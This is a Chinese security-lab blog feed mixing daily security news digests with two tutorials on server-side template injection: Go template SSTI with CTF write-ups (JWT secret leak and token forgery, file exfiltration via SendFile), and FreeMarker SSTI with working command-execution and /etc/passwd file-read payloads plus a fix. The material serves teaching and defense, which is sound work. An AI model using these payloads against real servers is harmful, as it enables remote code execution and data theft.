网络安全日报 2022年11月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、深圳发布首个公共数据安全领域标准《公共数据安全要求》
https://www.freebuf.com/news/350609.html 2、LockBit 3.攻击了加拿大韦斯特蒙市政服务平台,导致其瘫痪
https://www.freebuf.com/news/350538.html 3、黑客组织 Killnet 对英国网站发起多次攻击
https://www.express.co.uk/news/uk/1699778/Killnet-hackers-Russia-war-UK-websites-Royal-Family-latest-update 4、 恶意安卓应用伪装成文件管理器传播Sharkbot窃密木马
https://www.bleepingcomputer.com/news/security/android-file-manager-apps-infect-thousands-with-sharkbot-malware/ 5、以世界杯为主题的钓鱼网站大幅增加
https://securityboulevard.com/2022/11/surge-of-fake-fifa-world-cup-streaming-sites-targets-virtual-fans/ 6、Windows 8.1 将于明年 1 月 10 日停止支持
https://www.solidot.org/story?sid=73442 7、勒索软件RansomExx2 已使用 Rust 完全重写
https://securityintelligence.com/posts/ransomexx-upgrades-rust/ 8、澳大利亚慈善机构The Smith Family遭受网络攻击
https://www.govinfosecurity.com/australian-childrens-charity-breach-affects-80000-donors-a-20528 9、研究人员发现新的勒索软件-Donut
https://www.bleepingcomputer.com/news/security/donut-extortion-group-also-targets-victims-with-ransomware/ 10、支付宝等5家机构首批通过“个人金融信息保护能力”认证
http://www.news.cn/tech/20221122/3452a998efbb4e91b1b8417de8ea0db5/c.html
浅学Go下的ssti漏洞问题
前言
作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题。
GO模板引擎
Go 提供了两个模板包。一个是 text/template,另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。
template简介
template之所以称作为模板的原因就是其由静态内容和动态内容所组成,可以根据动态内容的变化而生成不同的内容信息交由客户端,以下即一个简单例子
模板内容 Hello, {{.Name}} Welcome to go web programming…
期待输出 Hello, liumiaocn Welcome to go web programming…
而作为go所提供的模板包,text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同,但其原理基本一致,均是动静态内容结合,以下是两种模板的简单演示。
text/template
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com
可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}
期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com
实际输出 弹出/xss/
这里就是text/template和html/template的最大不同了。
html/template
同样的例子,但是我们把导入的模板包变成html/template
package main
import (
"net/http"
"html/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。
而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。
html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。
template常用基本语法
在{{}}内的操作称之为pipeline
{{.}} 表示当前对象,如user对象
{{.FieldName}} 表示对象的某个字段
{{range …}}{{end}} go中for…range语法类似,循环
{{with …}}{{end}} 当前对象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择
{{xxx | xxx}} 左边的输出作为右边的输入
{{template "navbar"}} 引入子模版
漏洞演示
在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符.
在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
输出为
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John]
可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。
接下来就以几道题目来验证一下
[LineCTF2022]gotm
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"
"github.com/golang-jwt/jwt"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func clear_account() {
acc = acc[:1]
}
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}
我们先对几个路由和其对应的函数进行分析。
struct结构
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
注册功能
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key} //创建新用户
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
登录功能
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw { //检验id和pw
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token} //返回token
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
认证功能
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" { //根据token解出id,根据uid取出对应account
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
得到account
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
flag路由
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true { //将is_admin修改为true即可得到flag
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。
而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。
/regist?id={{.}}&pw=123
/auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
带上token重新访问
Logged in as {{{.}} 123 false this_is_f4Ke_key}
得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
带上token访问/flag
[WeCTF2022]request-bin
洁白一片,使用{{.}}进行检测
这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。
我们需要的是进行文件的读取,所以我们需要看看iris的accesslog库的模板注入如何利用。
在Accesslog的结构体中可以发现
type Log struct {
// The AccessLog instance this Log was created of.
Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
// The time the log is created.
Now time.Time `json:"-" yaml:"-" toml:"-"`
// TimeFormat selected to print the Time as string,
// useful on Template Formatter.
TimeFormat string `json:"-" yaml:"-" toml:"-"`
// Timestamp the Now's unix timestamp (milliseconds).
Timestamp int64 `json:"timestamp" csv:"timestamp"`
// Request-Response latency.
Latency time.Duration `json:"latency" csv:"latency"`
// The response status code.
Code int `json:"code" csv:"code"`
// Init request's Method and Path.
Method string `json:"method" csv:"method"`
Path string `json:"path" csv:"path"`
// The Remote Address.
IP string `json:"ip,omitempty" csv:"ip,omitempty"`
// Sorted URL Query arguments.
Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
// Dynamic path parameters.
PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
// Fields any data information useful to represent this Log.
Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
// The Request and Response raw bodies.
// If they are escaped (e.g. JSON),
// A third-party software can read it through:
// data, _ := strconv.Unquote(log.Request)
// err := json.Unmarshal([]byte(data), &customStruct)
Request string `json:"request,omitempty" csv:"request,omitempty"`
Response string `json:"response,omitempty" csv:"response,omitempty"`
// The actual number of bytes received and sent on the network (headers + body or body only).
BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
BytesSent int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
// A copy of the Request's Context when Async is true (safe to use concurrently),
// otherwise it's the current Context (not safe for concurrent access).
Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
}
这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。
所以我们可以构造payload如下
{{ .Ctx.SendFile "/flag" "1.txt"}}
后言
golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。
网络安全日报 2022年11月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、数千个应用泄露了 AlgoliaAPI 密钥,数百万用户数据受到威胁
https://www.securityweek.com/leaked-algolia-api-keys-exposed-data-millions-users 2、BMC 固件漏洞使 OT、物联网设备遭受远程攻击
https://www.securityweek.com/bmc-firmware-vulnerabilities-expose-ot-iot-devices-remote-attacks 3、微软在安全补丁导致 Kerberos 问题后发布带外更新
https://www.securityweek.com/microsoft-releases-out-band-update-after-security-patch-causes-kerberos-issues 4、基于Go的新型恶意软件“Aurora”被至少七个黑客组织采用
https://www.bleepingcomputer.com/news/security/aurora-infostealer-malware-increasingly-adopted-by-cybergangs/ 5、研究人员发现用于窃取加密货币的谷歌浏览器恶意扩展程序
https://www.bleepingcomputer.com/news/security/google-chrome-extension-used-to-steal-cryptocurrency-passwords/ 6、思科安全电子邮件网关存在漏洞而被绕过
https://www.securityweek.com/cisco-secure-email-gateway-filters-bypassed-due-malware-scanner-issue 7、AWS解决了影响 AWS AppSync 的漏洞
https://therecord.media/amazon-addresses-vulnerability-affecting-aws-appsync/ 8、大连警方侦破利用“跑马机”设备非法控制计算机信息系统案
https://www.anquanke.com/post/id/283506 9、DTrack开始针对欧洲和拉丁美洲发起攻击
https://www.4hou.com/posts/JXMv 10、黑客在对DraftKings的撞库攻击中窃取30万美元
https://www.bleepingcomputer.com/news/security/hackers-steal-300-000-in-draftkings-credential-stuffing-attack/
Java FreeMarker模板引擎注入深入分析
0x01 前言
最近和 https://f1or.cn/ 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。
有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。
三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI
0x02 FreeMarker SSTI
FreeMarker 官网:http://freemarker.foofun.cn/index.html
对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本
FreeMarker 基础语法
关于文本与注释,本文不再强调,重点看插值与 FTL 指令。
插值
插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出
比如这一个 .ftl 文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello ${name}!</title>
<link href="/css/main.css" rel="stylesheet">
</head>
<body>
<h2 class="hello-title">Hello ${name}!</h2>
<script src="/js/main.js"></script>
</body>
</html>
那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数
FTL 指令
FTL 指令以 # 开头,其他语法和 HTML 大致相同。
我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。
https://freemarker.apache.org/ FreeMarker SSTI 成因与攻击面
看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。
将 HTML 语句放到服务器上有两种方法:
1、文件上传 HTML 文件。
2、若某 CMS 自带有模板编辑功能,这种情况非常多。
因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的
在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。
环境搭建
一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧
https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview漏洞复现
前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我
payload:
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。
漏洞复现如图
漏洞分析
我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。
下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试
跟进 super.createView()
进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。
在 buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了)
继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法
checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。
跟进 getTemplate() 方法
首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate
这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。
跟进 getTemplateInternal()
先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法
这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy
代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。
这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。
org.springframework.web.servlet.DispatcherServlet#doDispatch 流程
handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。
调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender
跟进 this.processTemplate()
跟进 process()
process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。
在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。
在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进
跟进 calculateInterpolatedStringOrMarkup() 方法
calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法
eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下
而对于 ftl 表达式来说,accept 方法是这样的
跟进一下 accept() 方法
做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval()
我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于
Object result = targetMethod.exec(argumentStrings);
// 等价于
Object result = freemarker.template.utility.Execute.exec(argumentStrings);
而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。
命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图
至此,分析结束,很有意思的一个流程分析。
FreeMarker SSTI 的攻防二象性
我们目前的 PoC 是这么打的
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api
内置函数 new
可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute
API
value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。
由此我们可以构造出一系列的 bypass PoC
POC1
<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}
POC2
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
POC3
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
POC4
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
读取文件
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.templ
FreeMarker SSTI 修复
因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。
package freemarker;
import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;
public class freemarker_ssti {
public static void main(String[] args) throws Exception {
//设置模板
HashMap<String, String> map = new HashMap<String, String>();
String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
System.out.println(poc);
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration();
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
//cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
//处理解析模板
Template Template_name = cfg.getTemplate("name");
StringWriter stringWriter = new StringWriter();
Template_name.process(Template_name,stringWriter);
}
}
防御成功
0x03 小结
比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
网络安全日报 2022年11月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌发布YARA规则和VirusTotal Collection,以帮助检测CobaltStrike
https://www.securityweek.com/google-making-cobalt-strike-pentesting-tool-harder-abuse 2、研究人员发布了macOS 沙箱逃逸高危漏洞PoC 代码
https://www.securityweek.com/poc-code-published-high-severity-macos-sandbox-escape-vulnerability 3、Daixin 勒索软件团伙窃取了 500 万亚航乘客和员工的数据
https://thehackernews.com/2022/11/daixin-ransomware-gang-steals-5-million.html 4、臭名昭著的 Emotet 卷土重来,发起大量恶意垃圾邮件活动
https://thehackernews.com/2022/11/notorious-emotet-malware-returns-with.html 5、针对中东国家的网络钓鱼攻击在世界杯前激增
https://therecord.media/phishing-attacks-targeting-middle-east-countries-double-ahead-of-world-cup-report/ 6、 安全研究人员悄悄破解了勒索软件 Zeppelin
https://www.solidot.org/story?sid=73414 7、印度政府发布《2022年个人数据保护法案》草案
https://www.freebuf.com/news/350314.html 8、Earth Preta 通过大规模鱼叉式网络钓鱼攻击多个行业
https://cyware.com/news/earth-preta-targets-multiple-sectors-with-large-scale-spear-phishing-ce639109 9、新攻击使用 Windows 安全绕过零日漏洞来投放恶意软件
https://www.bleepingcomputer.com/news/security/new-attacks-use-windows-security-bypass-zero-day-to-drop-malware/ 10、报告显示近半数 macOS 恶意程序来自一个应用-MacKeeper
https://www.solidot.org/story?sid=73411
网络安全日报 2022年11月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Omron PLC 漏洞被复杂的 ICS 恶意软件利用
https://www.securityweek.com/omron-plc-vulnerability-exploited-sophisticated-ics-malware 2、Atlassian 修补了 Bitbucket、Crowd 中的严重漏洞
https://www.securityweek.com/atlassian-patches-critical-vulnerabilities-bitbucket-crowd 3、Hive 勒索软件已累计攻击 1,300 家企业,收取 1 亿美元赎金
https://www.securityweek.com/hive-ransomware-gang-hits-1300-businesses-makes-100-million 4、Exchange漏洞ProxyNotShell的PoC利用代码已公开
https://securityaffairs.co/wordpress/138768/hacking/proxynotshell-microsoft-exchange-poc.html 5、DEV-0569 组织使用 Google Ads 分发 Royal 勒索软件
https://securityaffairs.co/wordpress/138750/malware/dev-0569-google-ads-royal-ransomware.html 6、印度证券存管机构 CDSL 称恶意软件破坏了其网络
https://techcrunch.com/2022/11/18/cdsl-malware-internal-systems/ 7、Samba 修补了可能导致 DoS、远程代码执行的漏洞
https://www.securityweek.com/samba-patches-vulnerability-can-lead-dos-remote-code-execution 8、QBot恶意软件利用Windows控制面板程序感染设备
